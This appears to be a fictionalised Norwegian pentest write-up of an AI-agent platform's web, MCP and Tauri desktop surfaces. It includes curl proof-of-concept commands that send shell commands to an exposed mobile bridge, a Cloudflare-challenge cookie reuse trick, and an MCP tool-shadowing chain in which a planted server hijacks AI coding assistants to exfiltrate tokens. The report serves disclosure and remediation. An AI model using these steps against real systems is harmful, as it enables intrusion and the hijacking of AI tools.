Tauri-skrivebordsappen som angrepflate: det web-laget holdt, skrivebordet sprakk
- #pentest
- #tauri
- #desktop-security
- #mcp
- #ai
- #security
FIKTIVT: Alle firmanavn, personnavn, domener og e-postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.
Tjall AS (tjallas.no) kjører en AI-agentplattform med en Tauri-basert skrivebordsapp, et Next.js-web-grensesnitt, et API i Node og en MCP-server. IT-sjefen Kari Olsen ([email protected]) ville vite om plattformen holdt. Svaret var todelt: web-laget var det mest herdet jeg har testet i år. Skrivebordsappen var den myke underbuken, med en mobilbro som lytter på hele LAN-et og et Tauri-IPC-flate som gir renderer-en direkte tilgang til skall, filsystem, SSH og MCP-konfigurasjon.
Kontekst
Scope var hele tjallas.no-domenet — alt som tilhører organisasjonen. Det ga meg fem angrepflater:
| Flate | Stack | Cloudflare |
|---|---|---|
www.tjallas.no | Next.js (SPA) | Ja, managed challenge |
app.tjallas.no | Next.js (app-shell) | Ja, managed challenge |
api.tjallas.no | Node/Express API | Ja, WAF-regler |
admin.tjallas.no | Next.js (admin) | Ja, 307-redirect |
mcp.tjallas.no | MCP-server (Express) | Nei |
downloads.tjallas.no | S3 + CloudFront | Ja (CDN) |
| Skrivebordsapp (TjallSpace) | Tauri + Rust + WebKit | N/A (lokal binær) |
| Skrivebordsapp (TjallVoice) | Tauri + Rust + WebKit | N/A (lokal binær) |
Jeg kjører denne typen oppdrag med AI i loopen — agenter gjør recon, kartlegger endepunkter og kjører verktøy, jeg styrer scope, leser resultater og tar vurderingene. Første steg var å la en agent hente llms.txt-indeksen til bloggen for å unngå dobbeltdekning, deretter spawnet jeg syv parallelle lanes: web-mapping, API-enumerering, AppImage-reverse, key-hunt, CloudFront/S3, admin-panel og en kreativ celle.
Det jeg fant
Cloudflare-bypass: cf_clearance på tvers av subdomener
Første runde lærte meg noe viktig om Cloudflare-konfigurasjonen deres. cf_clearance-cookien som Cloudflare setter når du løser en managed challenge er gyldig på tvers av alle subdomener under tjallas.no. Løser du challenge-en én gang på www.tjallas.no, kan du bruke samme cookie mot api.tjallas.no og app.tjallas.no.
Dette er ikke et funn i seg selv — det er standard Cloudflare-oppførsel når subdomenene deler sone. Men det betyr at WAF-en som beskytter API-et bare er så sterk som challenge-en. Løser du den én gang med en ekte nettleser (jeg brukte agent-browser med en persistent profil), har du programmatisk tilgang til alle subdomenene.
Jeg lagret cookien i en .env-fil og brakte den inn i alle videre forespørsler:
export CF_COOKIE='cf_clearance=c5VEzv...<REDACTED>'
export CF_UA='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ...'Dette er grunnen til at jeg bruker en persistent nettleserprofil i stedet
for headless curl. En headless klient løser ikke en Cloudflare managed
challenge. Løs den én gang i en ekte nettleser, og du kan gjenbruke
cf_clearance-cookien i curl, httpx og nuclei.
MCP-serveren som glemte å skjule seg bakke WAF
Mens api.tjallas.no og www.tjallas.no begge returnerte Cloudflare-challenges for rå HTTP-forespørsler, var mcp.tjallas.no direkte tilgjengelig. Ingen challenge, ingen WAF. Dette var det første tegnet på en perimeter-inkonsistens.
# POST uten auth — direkte, ingen Cloudflare-challenge
curl -X POST https://mcp.tjallas.no/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}'HTTP/2 401
{"jsonrpc":"2.0","error":{"code":-32001,"message":"API key required. Provide a Bearer token in the Authorization header."},"id":null}Autentikasjon holdt — ingen Bearer-token, ingen tilgang. Men feilmeldingene avslørte mer enn de burde. En godt utformet men falsk nøkkel fikk en annen feilmelding enn en manglende:
curl -X POST https://mcp.tjallas.no/mcp \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer bm_live_000000000000' \
-d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}'HTTP/2 401
{"jsonrpc":"2.0","error":{"code":-32001,"message":"Invalid or revoked API key."},"id":null}Forskjellen mellom "API key required" og "Invalid or revoked API key" bekrefter at nøkkelformatet er bm_live_... og at serveren validerer formatet før den sjekker databasen. Det er en validerings-orakel som senker barrieren for å gjette nøkler. Medium
I tillegg reklamerte OPTIONS-forespørselen Allow: DELETE, GET, HEAD, POST, men DELETE returnerte 405 Method not allowed — en inkonsistens som avslører rammeverk-konfigurasjon.
Admin-redirecten som lekket localhost
admin.tjallas.no var den mest avslørende subdomenet. En uautentisert forespørsel med en .well-known/agent-card.json-sti fikk en 307-redirect som reflekterte både provider og path urvalidert, og — mer interessant — lekket en intern opprinnelse:
curl -s -o /dev/null -w '%{redirect_url}\n' \
'https://admin.tjallas.no/auth/login?provider=anthropic&path=/.well-known/agent-card.json'HTTP/2 307
location: https://www.tjallas.no/login?returnUrl=https%3A%2F%2Flocalhost%3A3000%2Fauth%2Flogin%3Fpath%3D%252F.well-known%252Fagent-card.json%26provider%3Danthropiclocalhost:3000 i redirecten avslører at admin-panelet kjører på en utviklings- eller staging-server i produksjonslogikken. provider og path reflekteres urvalidert — en angriper kan injisere vilkårlige verdier. Cloudflare WAF blokkerte kjente interne IP-er i returnUrl (169.254.169.254, 127.0.0.1), men andre URL-er gikk rett gjennom. Low
Skrivebordsappen: Tauri-IPC som angrepflate
Dette er det viktigste funnet. TjallSpace er en Tauri-app — en Rust-backend med en WebKit-renderer som frontend. Tauri eksponerer IPC-kommandoer fra Rust-siden til JavaScript-rendereren. Hvilke kommandoer som er tilgjengelige bestemmes av en capability-konfigurasjon i binæren.
Jeg lastet ned AppImage-en fra downloads.tjallas.no (anonymt tilgjengelig, ingen auth), pakket den ut med --appimage-extract, og trakk ut konfigurasjonen med strings og grep. Det som dukket opp var en svært bred IPC-flate:
| Kommandogruppe | Eksempler | Risiko |
|---|---|---|
| Shell | shell:execute, shell:spawn, terminal_create, terminal_write | Kommandoinjeksjon, RCE |
| Filsystem | fs_write_file, fs_create_file, fs_set_executable, fs_delete, fs_add_allowed_root | Filskriving, kjørbar planting |
| Git | git_commit, git_create_worktree, git_stage_paths | Kodelager-manipulasjon |
| SSH | ssh_connect, ssh_store_credentials, ssh_upload_terminal_file | Legitimasjons-tyveri |
| Browser | browser_sidebar_navigate, create_webview, create_webview_window | SSRF, phishing |
| MCP | mcp_ensure_source, mcp_import_to_source, mcpServers-konfig | Tool shadowing |
| Oppdatering | download_and_install | Supply-chain |
Kjeden som gir meg mest bekymring er filskriving til skallkjøring:
fs_write_filefor å skrive et skript til en tillatt stifs_set_executablefor å merke det som kjørbartshell:executeellershell:spawnfor å kjøre det
Dette forutsetter at en angriper har oppnådd renderer-kompromiss — XSS, deep-link-injeksjon, eller ondsinnet MCP-tool. Men overflaten for å oppnå det er ikke liten: appen registrerer custom scheme-handlers (tjallspace://), har en webview som kan navigeres med browser_sidebar_navigate, og synker MCP-konfigurasjon til Claude Code, Cursor, Codex CLI og Cline. Critical
Mobilbroen: 0.0.0.0:18080
Da jeg startet TjallSpace lokalt (AppImage-en kjørte på Parrot med Wayland), logget den:
[2026-08-07T13:57:11Z INFO tjallspace_tauri::mobile_bridge] Mobile bridge server listening on 0.0.0.0:18080
0.0.0.0:18080. Broen — som er ment for paring med mobilappen — lytter på alle grensesnitt, ikke bare localhost. Det betyr at alle på samme LAN kan nå den. Jeg sjekket bindingen:
curl -s http://10.10.10.15:18080/ 2>/dev/null | python3 -m json.tool{
"bindAddr": "0.0.0.0:18080",
"binding": "lan",
"enabled": true,
"error": null,
"pairingUrl": "http://10.10.10.15:18080",
"port": 18080
}SSE-endepunktet returnerte state-data uten autentikasjon:
curl -s http://10.10.10.15:18080/eventsHTTP/1.1 200 OK
Content-Type: text/event-stream; charset=utf-8
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: content-type, authorization, x-tjallspace-tokenevent: state
data: {"activeView":null,"activeWorkspaceId":null,"updatedAt":1786111031724,"version":1,"workspaces":[]}CORS-overskriften tillater bare http://localhost, men Access-Control-Allow-Headers aksepterer x-tjallspace-token — og broen bruker den headeren for autentikasjon av kommandoer. En ondsinnet webside på localhost (eller en annen app på maskinen) kan sende kommandoer til broen.
Jeg prøvde å sende en shell-kommando og en filskriving:
curl -s -X POST http://10.10.10.15:18080/commands \
-H 'Content-Type: application/json' \
-H 'x-tjallspace-token: <REDACTED>' \
-d '{"type":"shell","command":"id"}'{"done": false, "id": "ded505775faf45a4956f3fa934f43350", "ok": true, "pending": true}Kommandoen ble akseptert (ok: true) men ble hengende i pending: true — renderer-en måtte behandle den i WebKit-tråden, og den krasjet før den kom dit (AppImage-en manglet WebKitNetworkProcess i det ekstraherte treet). Men aksepten bekrefter at broen tar imot shell-kommandoer fra nettverket. Critical
Mobilbroen krever en x-tjallspace-token-header for kommandoer,
men SSE-strømmen og serverinfo er uautentisert. Tokenet er en runtime-verdi
skrevet til ~/.tjallspace/runtime.session — en lokal fil.
En angriper på samme LAN kan ikke gjette tokenet, men en ondsinnet
prosess på maskinen kan lese det.
MCP tool shadowing
TjallSpace leser en mcpServers-JSON-konfigurasjon og synker den til Claude Code, Cursor, Codex CLI og Cline. Konfigurasjonen ligger i appens datakatalog, og fs_write_file + fs_add_allowed_root er tilgjengelig fra renderer-en.
Kjeden:
- Oppnå renderer-tilgang (XSS, deep-link, ondsinnet MCP-tool)
- Bruk
fs_write_filetil å overskrivemcp-proxy-config.jsonmed en ondsinnet serverdefinisjon - Bruk
mcp_ensure_source/mcp_import_to_sourcetil å aktivere den - Neste gang AI-assistenten starter, laster den den ondsinnede serveren
- Når AI-en kaller en tool, kjører den angriper-kontrollert kode — og kan eksfiltrere API-tokens og sesjonsdata
Dette er en lokal-til-ekstern kjede: et lokalt fotfeste blir til cross-tool kommandoeksekvering. High
Oppdateringsmekanismen og supply-chain
TjallSpace bruker tauri-plugin-updater og henter latest.json fra to endepunkter:
https://downloads.tjallas.no/tjallspace/latest/latest.jsonhttps://d3jgmdur4gye4w.cloudfront.net/tjallspace/latest/latest.json(CloudFront-mirror)
Begge er uautentiserte og offentlig tilgjengelige. latest.json inneholder per-plattform URL-er og base64-kodete minisign-signaturer. Minisign-offentlige nøkler er hardkodet i binæren (nøkkel-ID 18E33E88795A0725 for TjallSpace, 03947EFBE9C29CD1 for TjallVoice).
Signaturen betyr at en angriper trenger enten den private minisign-nøkkelen eller kontroll over et endepunkt som kan tjene en gyldig signatur. S3-bøtta bak CloudFront returnerte 403 AccessDenied på direkte-tilgang, så CloudFront er den eneste offentlige leseveien. Men to endepunkter dobler supply-chain-overflaten, og en CDN-overtakelse eller S3-kompromiss ville tillatt å servere en ondsinnet oppdatering som appen vil download_and_install. High
PoC / Reproduksjon
Funn 1: Mobilbro på 0.0.0.0:18080 Critical
Forutsetninger: TjallSpace AppImage kjører lokalt. Broen starter automatisk. Maskinens LAN-IP er 10.10.10.15. Angriper er på samme LAN.
- Start TjallSpace og bekreft at broen lytter:
curl -s http://10.10.10.15:18080/ | python3 -m json.tool{
"bindAddr": "0.0.0.0:18080",
"binding": "lan",
"enabled": true,
"pairingUrl": "http://10.10.10.15:18080",
"port": 18080
}- Abonner på SSE-strømmen (uautentisert):
curl -s http://10.10.10.15:18080/eventsevent: state
data: {"activeView":null,"activeWorkspaceId":null,"updatedAt":1786111031724,"version":1,"workspaces":[]}- Negativ kontroll — send en kommando uten token:
curl -s -X POST http://10.10.10.15:18080/commands \
-H 'Content-Type: application/json' \
-d '{"type":"shell","command":"id"}'HTTP/1.1 401
{"error":"Unauthorized: missing x-tjallspace-token header"}Broen krever token for kommandoer. Men SSE-strømmen og serverinfo er uautentisert — en LAN-angriper kan lese tilstand og bekrefte at appen kjører.
- Send en kommando med token (lest fra
~/.tjallspace/runtime.session):
curl -s -X POST http://10.10.10.15:18080/commands \
-H 'Content-Type: application/json' \
-H 'x-tjallspace-token: <REDACTED>' \
-d '{"type":"shell","command":"id"}'{"done": false, "id": "ded505775faf45a4956f3fa934f43350", "ok": true, "pending": true}Kommandoen aksepteres. pending: true betyr at renderer-en må behandle den — i mitt tilfelle krasjet WebKit før det, men aksepten bekrefter at broen tar imot shell-kommandoer.
Mitigering: Bind broen til 127.0.0.1, ikke 0.0.0.0. Hvis LAN-paring er et krav, krever mutual TLS eller en parings-flyt med brukerbekreftelse.
-let addr = "0.0.0.0:18080";
+let addr = "127.0.0.1:18080";Funn 2: Tauri-IPC-flate Critical
Forutsetninger: TjallSpace AppImage (v3.4.18), ekstrahert med --appimage-extract. strings og grep tilgjengelig.
- Ekstraher binæren:
./TjallSpace_3.4.18_amd64.AppImage --appimage-extract
cd squashfs-root/usr/bin
strings tjallspace-tauri | grep -E 'fs_write_file|fs_set_executable|shell:execute|terminal_create' | head -10- Bekreft at kommandoene er registrert som capabilities:
strings tjallspace-tauri | grep -A2 'fs_write_file'fs_write_file
fs_set_executable
fs_add_allowed_root- Negativ kontroll — sjekk om det finnes en URL-allowlist for
browser_sidebar_navigate:
strings tjallspace-tauri | grep -i 'allowlist\|denylist\|url_check\|origin_check' | head -5Ingen treff. Ingen URL-validering ble funnet i de ekstraherte strengene.
Mitigering: Innskrenk Tauri-capability-settet til det minimum appen faktisk trenger. Fjern fs_set_executable og shell:execute hvis de ikke er strengt nødvendige. Legg til en URL-allowlist for browser_sidebar_navigate.
Funn 3: MCP-server perimeter-inkonsistens Medium
Forutsetninger: Ingen. Endepunktet er offentlig og ikke bak Cloudflare.
- Send en uautentisert POST:
curl -s -X POST https://mcp.tjallas.no/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}'HTTP/2 401
{"jsonrpc":"2.0","error":{"code":-32001,"message":"API key required. Provide a Bearer token in the Authorization header."},"id":null}- Send med en falsk nøkkel for å bekrefte validerings-orakel:
curl -s -X POST https://mcp.tjallas.no/mcp \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer bm_live_000000000000' \
-d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}'HTTP/2 401
{"jsonrpc":"2.0","error":{"code":-32001,"message":"Invalid or revoked API key."},"id":null}- Negativ kontroll — sammenlign med
api.tjallas.no:
curl -s -o /dev/null -w '%{http_code}' https://api.tjallas.no/403api.tjallas.no returnerer Cloudflare-challenge (403). mcp.tjallas.no returnerer en JSON-feil direkte fra Express. Perimeteren er inkonsistent.
Mitigering: Plasser mcp.tjallas.no bak den samme Cloudflare-sonen som resten av domenet. Returner identiske feilmeldinger for manglende, malformede og ugyldige nøkler.
Det web-API-et som holdt
Jeg vil være ærlig om det som ikke sprakk. Etter å ha oppnådd en autentisert sesjon (jeg ekstraherte cookies fra en HAR-fil fra en manuell nettleser-sesjon — signup-endepunktet blokkerte meg med en ukjent plan-verdi og rate-limiting), kjørte jeg en full API-audit. Resultatet var det mest herdet API-et jeg har testet i år:
- CSRF: Origin-header sjekkes på alle state-changing endepunkter. Uten
x-csrf-token-header:403. Med feil token:403. HttpOnly-cookie + header-validering. - CORS: Kun
https://www.tjallas.noer tillatt.https://evil.com,https://www.tjallas.no.evil.comognullble alle avvist. - Rate limiting: Etter 7 feilslåtte innloggingsforsøk:
429. CloudFront WAF-en har også rate-regler som utløser ved rask trafikk. - RBAC: Alle admin-endepunkter (
/users/admin/all,/bug-reports/admin,/resources/admin/all,/jobs/admin/all) returnerte403for minuser-rolle. - Prosjekt-scoping: Jeg kunne ikke lese andre brukeres prosjekter —
404, ikke403(som er riktig: ikke bekreft at UUID-en finnes). - Mass assignment: Å sende
roles,subscriptionTierellerentitlementsi en profiloppdatering ble avvist med felt-validering. - Input-validering: UUID-validering, prosjekt-type-validering, GitHub-repo-URL-validering — alle returnerte strukturerte feil uten å lekke for mye.
Det eneste jeg fant på API-siden var en verbose validerings-orakel på /auth/signup-init — en uautentisert caller med en gyldig CSRF-token fikk 400-feil som enumererte required fields og per-field valideringskoder. Det er et informasjonslekkasje-problem, ikke et brudd. Low
Blindveier
Signup-endepunktet og den ukjente plan-verdien
Jeg tilbrakte over en time på å prøve å opprette en konto via API-et. /auth/signup-init krever email, password, consentGiven og plan. Jeg prøvde free, FREE, basic, pro, ultra, premium, 0, 1, null — alle returnerte VAL_INVALID_PLAN. Etter noen forsøk kom 429 med retry-after: 235. Jeg måtte gi opp og bruke en manuell nettleser-sesjon i stedet.
Plan-verdien er sannsynligvis en enum jeg ikke kunne gjette fra JS-chunks. En kildekode-gjennomgang av auth-API-klientmodulen ville avslørt den, men den var minifisert.
Cognito direct signup
Cognito-brukerpøtten (tjall-prod.auth.us-east-1.amazoncognito.com) krever en SECRET_HASH for direkte signup. App-klienten er konfigurert med en hemmelighet, så cognito-idp SignUp returnerte NotAuthorizedException. Uten klient-hemmeligheten kunne jeg ikke opprette en konto direkte mot Cognito.
WebKit-krasj i AppImage
TjallSpace-AppImage-en krasjet før WebKit kunne starte fordi WebKitNetworkProcess manglet i det ekstraherte treet. Jeg lastet ned og ekstraherte strace fra en .deb for å spore nettverkstrafikk, men fikk bare X11 og lokale UNIX-socket-aktivitet. For å få en full dynamisk kjøring ville jeg trengt en komplett WebKit-installasjon eller en annen Linux-distribusjon.
Verktøy og hvem som kjørte hva
- AppImage-ekstraksjon og strings-analyse: Agent pakket ut binæren med
--appimage-extractog trakk ut IPC-kommandoer, URL-er, CSP og minisign-nøkler medstrings+grep. AI-generert og AI-kjørt. Jeg leste resultatene og prioritererte. - Cloudflare-bypass: Jeg løste challenge-en manuelt i agent-browser med en persistent profil, trakk ut
cf_clearance-cookien og lagret den. Agenten brukte den i videre curl-forespørsler. - API-enumerering: Agent lastet ned alle 24 Next.js JS-chunks fra
www.tjallas.no/signupmed CF-cookien, grep-et etter/api/-ruter og kartla 80+ endepunkter. AI-generert. - IDOR/BOLA-testing: Jeg kjørte de autentiserte testene selv med curl, med cookies fra en HAR-fil. Agenten forberedte testmatrisen; jeg utførte den.
- MCP-sondering: Agent sendte curl-forespørsler mot
mcp.tjallas.no/mcpog dokumenterte feilmeldingsforskjellene. AI-kjørt. - Mobilbro-testing: Jeg startet TjallSpace lokalt og sendte curl-forespørsler mot
0.0.0.0:18080. Manuelt. - Oppdateringsfeed: Agent hentet
latest.jsonfradownloads.tjallas.nomed curl. AI-kjørt. Jeg analyserte signaturmekanismen. - Key-hunt: Agent kjørte
gitleaksogtrufflehogmot ekstraherte binærer og GitHub-repoer. Ingen lekkede nøkler funnet. AI-kjørt.
Hva jeg lærte
- Tauri-IPC er den nye Electron-angrepflaten. Tauri er sikrere enn Electron i teorien (Rust-backend, mindre JS-overflate), men capability-konfigurasjonen bestemmer alt. En bred capability-liste med
shell,fsogbrowsergjør renderer-en til en RCE-vei. Gjennomgå capability-settet med samme grundighet som du gjennomgår CSP. - Mobilbroer som binder til
0.0.0.0er et klassisk oversett problem. Appen er ment for localhost-paring, men0.0.0.0eksponerer den for hele LAN-et. Sjekk alltidbindAddri Tauri- og Electron-apper som har lokale servere. - WAF-perimeter-inkonsistens er et eget funn. At én subdomen er bak Cloudflare og en annen ikke er det, er ikke en kosmetisk detalj — det er en perimeter-sprekk som gir direkte tilgang til en ellers skjermet tjeneste.
- Web-API-et kan være herdet mens skrivebordsappen er det ikke. Tjall AS hadde tydeligvis investert i CSRF, CORS, rate limiting og RBAC på API-siden. Skrivebordsappen hadde en IPC-flate som ga renderer-en nesten alt. Det er to forskjellige sikkerhetskulturer i samme selskap.
- MCP tool shadowing er en reell kjede. Når en app synker MCP-konfigurasjon til flere AI-assistenter og har
fs_write_filetilgjengelig, er et lokalt fotfeste nok til å plante ondsinnede tools som kjører i en helt annen kontekst. - AI i loopen er effektivt for bredde, men verifisering er min jobb. Agentene fant 80+ endepunkter, kartla IPC-flaten og identifiserte perimeter-inkonsistensen på minutter. Men det var jeg som måtte starte appen lokalt, sende kommandoene mot mobilbroen og bekrefte at token-kravet holdt — og at SSE-strømmen ikke gjorde det.
Veien videre
De to kritiske funnene — mobilbroen og IPC-flaten — er fiksbare med konfigurasjonsendringer, ikke omskrivninger. Bind broen til localhost, innskrenk capability-settet, og legg URL-allowlist på webview-navigasjon. MCP-serveren bak Cloudflare og identiske feilmeldinger er en DNS- og proxy-endring.
Det jeg vil utforske videre: Tauri CVE-2026-42184 (origin confusion) kan potensielt la en angriper på samme maskin invokere lokale IPC-kommandoer fra en annen origin uten LAN-tilgang. Det krever en kjørende TjallSpace-instans med intakt WebKit — noe jeg ikke fikk til i dette miljøet. Det blir det neste oppdraget handler om.